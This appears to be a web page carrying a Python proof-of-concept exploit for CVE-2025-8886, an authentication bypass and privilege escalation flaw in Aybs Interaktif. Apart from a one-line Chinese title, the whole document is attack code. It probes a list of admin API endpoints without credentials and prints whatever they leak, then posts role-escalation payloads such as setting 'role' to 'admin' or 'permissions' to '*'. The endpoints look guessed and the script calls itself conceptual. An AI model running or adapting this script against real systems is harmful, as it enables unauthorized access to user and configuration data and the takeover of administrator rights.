CVE-2025-8886 Aybs Interaktif权限提升与认证绕过漏洞

# CVE-2025-8886 - Aybs Interaktif Authentication Bypass & Privilege Escalation PoC # Vulnerability: Incorrect Permission Assignment, Missing Authorization, Incorrect Authorization # Impact: Privilege Abuse, Authentication Bypass # Note: This PoC demonstrates the conceptual exploitation approach import requests TARGET_URL = "https://target-aybs-interaktif.com" def exploit_auth_bypass(): """ Attempt to access privileged endpoints without proper authorization. The vulnerability exists due to missing authorization checks on certain API endpoints. """ # Step 1: Access a privileged endpoint without authentication privileged_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/system/settings", "/api/user/all-records", "/api/dashboard/admin-panel" ] for endpoint in privileged_endpoints: url = f"{TARGET_URL}{endpoint}" try: # Attempt to access without authentication token response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} - Unauthorized access successful!") print(f" Response: {response.text[:500]}") return True else: print(f"[-] Not accessible: {endpoint} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") return False def exploit_privilege_escalation(session_cookie=None): """ Attempt privilege escalation by manipulating user role parameters. The vulnerability exists due to incorrect permission assignment. """ headers = { "Content-Type": "application/json" } if session_cookie: headers["Cookie"] = session_cookie # Step 2: Try to modify user role to escalate privileges escalation_payloads = [ {"role": "admin", "userId": "1"}, {"role": "superadmin", "userId": "1"}, {"permissions": ["*"], "userId": "1"}, {"isAdmin": True, "userId": "1"} ] for payload in escalation_payloads: try: response = requests.post( f"{TARGET_URL}/api/user/update-role", json=payload, headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] PRIVILEGE ESCALATED: {payload}") return True except requests.exceptions.RequestException: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-8886 - Aybs Interaktif Exploitation PoC") print("=" * 60) print("\n[*] Testing for authentication bypass...") if exploit_auth_bypass(): print("\n[*] Testing for privilege escalation...") exploit_privilege_escalation() print("\n[*] PoC execution completed.")